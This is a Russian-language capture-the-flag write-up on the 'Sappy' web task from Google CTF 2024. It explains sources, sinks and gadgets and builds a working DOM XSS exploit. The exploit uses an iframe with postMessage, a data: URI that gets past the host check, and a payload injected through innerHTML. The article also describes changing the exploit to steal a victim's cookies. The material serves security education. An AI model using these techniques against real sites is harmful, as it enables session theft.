Введение

Недавно прошел Google CTF, после которого были выложены исходные коды и exploit'ы к заданиям.

В этой статье я хотел бы подробнее рассмотреть web task с недавно прошедшего Google CTF, который называется "Sappy".

На момент решения задания, участника выдавался ограниченный исходный код задачи.

На данный момент полный исходный код проекта доступен в GitHub репозитории. Сейчас можно сказать, что была доступна директория challenge.

Анализ кода

Прежде, чем начать, введем основные определения.

Осваиваем DOM Invader: ищем DOM XSS и Prototype Pollution на примере пяти лабораторных и одной уязвимости на Хабре

Source
Свойство JavaScript, которое принимает данные, потенциально контролируемые пользователем. Пример источника — свойство location.search, поскольку оно считывает ввод из строки запроса, которой относительно просто управлять. В конечном итоге любое свойство, которым может управлять пользователь, является потенциальным Source. К этому относятся URL-адрес источника (document.referrer), Cookie пользователя (document.cookie) и WebMessages (подробнее про WebMessages написано здесь).

Sink
Потенциально опасная функция JavaScript или объект DOM, которые могут вызвать уязвимость, если в них передаются данные, контролируемые пользователем. Например, функция eval() является Sink'ом, поскольку она обрабатывает аргумент, который в него передается, как JavaScript. Примером HTML-Sink является document.body.innerHTML, так как это потенциально позволяет внедрить HTML и выполнить произвольный JavaScript.

Gadget
Небольшие фрагменты кода, которые могут быть использованы для эксплуатации уязвимостей. «Гаджеты» часто применяются в цепочках уязвимостей для достижения более значительного импакта. Еще их используют для обхода защитных мер, повышения привилегий или выполнения произвольного кода.

После знакомства с исходным кодом нас должен был заинтересовать файл sap.html, который подтягивает файл sap.js.

Потенциальный sink находится в данном участке кода:

window.addEventListener(
	"message",
	async (event) => {
		let data = event.data;
		if (typeof data !== "string") return;
		data = JSON.parse(data);
		const method = data.method;
		switch (method) {
			case "initialize": {
				if (!data.host) return;
				API.host = data.host;
				break;
			}
		case "render": {
			if (typeof data.page !== "string") return;
			const url = buildUrl({
				host: API.host,
				page: data.page,
			});
			const resp = await fetch(url);
			if (resp.status !== 200) {
				console.error("something went wrong");
				return;
			}
			const json = await resp.json();
			if (typeof json.html === "string") {
				output.innerHTML = json.html;
			}
			break;
			}
		}
	},
	false
);

Sink:

output.innerHTML = json.html;

Цепочка гаджетов:

  • Передача пользовательских данных в event listener

  • Переопределение API.host

  • Формирование параметра url с использованием API.host и data.page

  • AJAX запрос на url с использованием fetch()

  • Ответ запроса в формате json содержит ключ html, значение которого подставляется в sink

Подготовка exploit'а

Передача пользовательских данных в event listener

Чтобы проэксплуатировать данный участок кода, необходимо как-то передать в него пользовательские данные (source). Для этого используется метод addEventListener()

MDN:

Метод EventTarget.addEventListener() регистрирует определённый обработчик события, вызванного на EventTarget.

EventTarget может быть ElementDocumentWindow, или любым другим объектом, поддерживающим события (таким как XMLHttpRequest).

Синтаксис

target.addEventListener(type, listener[, options]); ...

type
Чувствительная к регистру строка, представляющая тип обрабатываемого события.

listener
Объект, который принимает уведомление, когда событие указанного типа произошло. Это должен быть объект, реализующий интерфейс EventListener или просто функция JavaScript.

Controlling the web message source(дословный перевод)

Если страница обрабатывает входящие веб-сообщения небезопасным способом, например, не проверяя корректно origin входящих сообщений в event listener, свойства и функции, вызываемые event listener'ом, могут стать sink'ами. Например, злоумышленник может разместить вредоносный iframe и использовать метод postMessage() для передачи данных веб-сообщения уязвимому event listener, который затем отправляет полезную нагрузку в sink на родительской странице. Такое поведение означает, что вы можете использовать веб-сообщения в качестве source для распространения вредоносных данных в любой из этих sink'ов.

Т.е. для выполнения метода postMessage() в нашем exploit'е необходимо выполнение следующих условий:

  • Наличие event listener'а типа "message" на атакуемом приложении

    addEventListener("message", ...)
  • Использование данных из event'а

    addEventListener("message", funciton(event) {
    	eval(event.data);
    })
  • Отсутствие защитных мер от использования iframe'ов

    • заголвок X-Frame-Options: DENY

Тогда наш exploit на данном этапе (гаджете) может выглядеть примерно так:

<iframe src="https://sappy-web.2024.ctfcompetition.com/sap.html" onload="this.contentWindow.postMessage('print()','*')">

Переопределение API.host

	async (event) => {
		let data = event.data;
		if (typeof data !== "string") return;
		data = JSON.parse(data);
		const method = data.method;
		switch (method) {
			case "initialize": {
				if (!data.host) return;
  					API.host = data.host;
  					break;
			}

Чтобы переопределить API.host, необходимо, чтобы source был в формате JSON и содержал ключи method со значением "initialize" и host с произвольным значением:

Тогда exploit на данном этапе может выглядеть подобным образом:

<iframe src="https://sappy-web.2024.ctfcompetition.com/sap.html" onload='this.contentWindow.postMessage("{\"method\":\"initialize\",\"host\":\"...\"}","*")'>

Формирование параметра url с использованием API.host и data.page

const Uri = goog.require("goog.Uri");
...
		case "render": {
			if (typeof data.page !== "string") return;
			const url = buildUrl({
				host: API.host,
				page: data.page,
			});
		}

...
function buildUrl(options) {
	return getHost(options) + "/sap/" + options.page;
}
...

function getHost(options) {
if (!options.host) {
	const u = Uri.parse(document.location);
	return u.scheme + "://sappy-web.2024.ctfcompetition.com";
}
	return validate(options.host);
}

Как видно из кода параметр API.host проверяется на наличие строки "://sappy-web.2024.ctfcompetition.com", но без проверки схемы.

Тут мы знакомимся со схемой data.

Схема DATA:,

С общим описанием схемы можно ознакомиться из RFC.

RFC:

   Some applications that use URLs also have a need to embed (small)
   media type data directly inline. This document defines a new URL
   scheme that would work like 'immediate addressing'. The URLs are of
   the form:

                    data:[<mediatype>][;base64],<data>

   The <mediatype> is an Internet media type specification (with
   optional parameters.) The appearance of ";base64" means that the data
   is encoded as base64. Without ";base64", the data (as a sequence of
   octets) is represented using ASCII encoding for octets inside the
   range of safe URL characters and using the standard %xx hex encoding
   of URLs for octets outside that range.  If <mediatype> is omitted, it
   defaults to text/plain;charset=US-ASCII.  As a shorthand,
   "text/plain" can be omitted but the charset parameter supplied.
   A data URL might be used for arbitrary types of data. The URL

                          data:,A%20brief%20note

   encodes the text/plain string "A brief note", which might be useful
   in a footnote link.

Нас интересует следующая информация

Wiki:

The minimal data URI is data:,, consisting of the scheme, no media-type, and zero-length data.

Thus, within the overall URI syntax, a data URI consists of a scheme and a path, with no authority part, query string, or fragment. The optional media type, the optional base64 indicator, and the data are all parts of the URI path.

Из всего выше-описанного делаем вывод, что для использования данной схемы достаточно указать data:{что угодно},{полезные данные}.

Тогда payload для данного гаджета будет иметь вид:

data://sappy-web.2024.ctfcompetition.com/,{payload}

А exploit будет иметь вид:

<iframe src="https://sappy-web.2024.ctfcompetition.com/sap.html" onload='this.contentWindow.postMessage("{\"method\":\"initialize\",\"host\":\"data://sappy-web.2024.ctfcompetition.com/,{payload}\"}","*")'>

AJAX запрос на url с использованием fetch()

Далее надо знать некоторые особенности работы с fetch и promise.

Promise

Современный учебник JavaScript:

Promise – это специальный объект, который содержит своё состояние. Вначале pending(«ожидание»), затем – одно из: fulfilled («выполнено успешно») или rejected («выполнено с ошибкой»).
...
Способ использования, в общих чертах, такой:

  1. Код, которому надо сделать что-то асинхронно, создаёт объект promise и возвращает его.

  2. Внешний код, получив promise, навешивает на него обработчики.

  3. По завершении процесса асинхронный код переводит promise в состояние fulfilled (с результатом) или rejected (с ошибкой). При этом автоматически вызываются соответствующие обработчики во внешнем коде.

fetch()

MDN:

The global fetch() method starts the process of fetching a resource from the network, returning a promise that is fulfilled once the response is available.

(дословный перевод): "Глобальный метод fetch() запускает процесс получения ресурса из сети, возвращая promise, который будет выполнен (состояние fulfilled), как только ответ (Response) будет доступен."

The promise resolves to the Response object representing the response to your request.

(дословный перевод): "Promise резолвится в объект Response, представляющий ответ на ваш запрос."

A fetch() promise only rejects when the request fails, for example, because of a badly-formed request URL or a network error. A fetch() promise does not reject if the server responds with HTTP status codes that indicate errors (404, 504, etc.). Instead, a then() handler must check the Response.ok and/or Response.status properties.

(дословный перевод): "Promise fetch() отклоняется только в том случае, если запрос не выполняется, например, из-за неправильно сформированного URL-адреса запроса или сетевой ошибки. Promise fetch() не отклоняет запрос, если сервер отвечает кодами состояния HTTP, которые указывают на ошибки (404, 504 и т. д.). Вместо этого обработчик then() должен проверить свойства Response.ok и/или Response.status."

Для нас важно, что при любом ответе сервера, fetch() все равно вернет promise с ответом, но об этом чуть позже.

Когда вы вызываете fetch, он возвращает promise, которое резвится в объект ответа (Response). Чтобы получить доступ к полям объекта ответа, нужно дождаться resolve этого promise'а.

Это можно сделать несколькими способами: используя цепочки промисов (.then()) или используя awaitвнутри асинхронной функции.

Пример без await:

fetch("https://example.com/api/data")
  .then(response => {
    // Теперь у вас есть объект Response
    console.log(response.status); // Пример доступа к полю статуса
    return response.text(); // Если вы ожидаете текстовый ответ
  })

await fetch() используется внутри асинхронной функции для ожидания разрешения promise'а, который возвращает fetch(). Это упрощает работу с асинхронными операциями, так как позволяет писать код, который выглядит синхронно.

Пример с await:

async function fetchData() { 
  const response = await fetch('https://example.com/api/data'); 
  const data = await response.json(); 
  console.log(data); 
} 
fetchData();

На данном этапе event listener'у нужно отправить уже два event'а.

<iframe id="myIframe" src="https://sappy-web.2024.ctfcompetition.com/sap.html" onload=sendMessages()></iframe>
<script>
	function sendMessages() {
		const iframe = document.getElementById('myIframe');
		const iframeWindow = iframe.contentWindow;
		const messages = [
			'{"method": "initialize","host": "data://sappy-web.2024.ctfcompetition.com/"}',
			'{"method": "render", "page": \\",{payload}\\"}"}'
		];
		messages.forEach(message => {
		iframeWindow.postMessage(message, "*");
		});
	}
</script>

Примечание. Здесь я перенес основной payload в значение ключа "page" для удобства.

Ответ запроса в формате json содержит ключ html, значение которого подставляется в sink

const json = await resp.json();
if (typeof json.html === "string") {
	output.innerHTML = json.html;
}

Если мы используем метод fetch() для запроса ресурса в формате json, то после получения ответа сервера можно использовать метод Response.json().

Есть ресурс для тестирования подобного функционала: https://mdn.github.io/dom-examples/fetch/fetch-json/.

Адрес https://mdn.github.io/dom-examples/fetch/fetch-json/products.json возвращает массив JSON объектов.

Примечание 1. В аргументе fetch() указан относительный адрес, т.к. запрос выполнялся в консоли панели инструментов конкретного ресурса.

Примечание 2. Метод json() так же возвращает promise, поэтому используем await для получения объекта.

Теперь используем схему data:,{payload} с json данными в качестве payload'а {"foo":"bar"} в URI и метод json():

И мы видим, что данные из url вернулись в виде JSON объекта из ответа.

Получается, что код вида:

res = await fetch(url);
foo = await res.json();

позволяет нам создавать различные json объекты в рамках одного и того же домена, используя схему data:, и promise'ы метода fetch().

Помним, что url формируется конкатенацией двух source со строковым значением "/sap/":

function buildUrl(options) {
	return getHost(options) + "/sap/" + options.page;
}

Чтобы payload имел вид типа:

'data://sappy-web.2024.ctfcompetition.com/sap,{"html":"<img src=x onerror=alert(1)>"}'

Тогда конечный exploit будет выглядеть примерно следующим образом:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <iframe id="myIframe" src="https://sappy-web.2024.ctfcompetition.com/sap.html" onload=sendMessages()></iframe>
    <script>
        function sendMessages() {
            const iframe = document.getElementById('myIframe');
            const iframeWindow = iframe.contentWindow;

            const messages = [
            '{"method": "initialize","host": "data://sappy-web.2024.ctfcompetition.com/"}',
            '{"method": "render", "page": ",{\\"html\\":\\"<img src=x onerror=alert(1)>\\"}"}'
            ];

            messages.forEach(message => {
                iframeWindow.postMessage(message, "*");
            });
        }
    </script>
</body>
</html>

На момент написания writeup'а exploit от Google выглядит следующим образом:

window.postMessage('{"method": "initialize","host": "data://sappy-web.2024.ctfcompetition.com/,{\\"html\\":\\"<img src=x onerror=alert(1)>"}');
window.postMessage('{"method": "render", "page": "page1\\"}"}')

В завершении, чтобы получить флаг, нужно было изменить exploit таким образом, чтобы xss отправляла cookie жертвы на подконтрольный нам ресурс.

Далее сохранить этот exploit на подконтрольном ресурсе, передать url данного ресурса в поле URL блока "Share your learnings":

Если все сделать верно, то вместе с cookie будет добыт флаг.

Комментарии (0)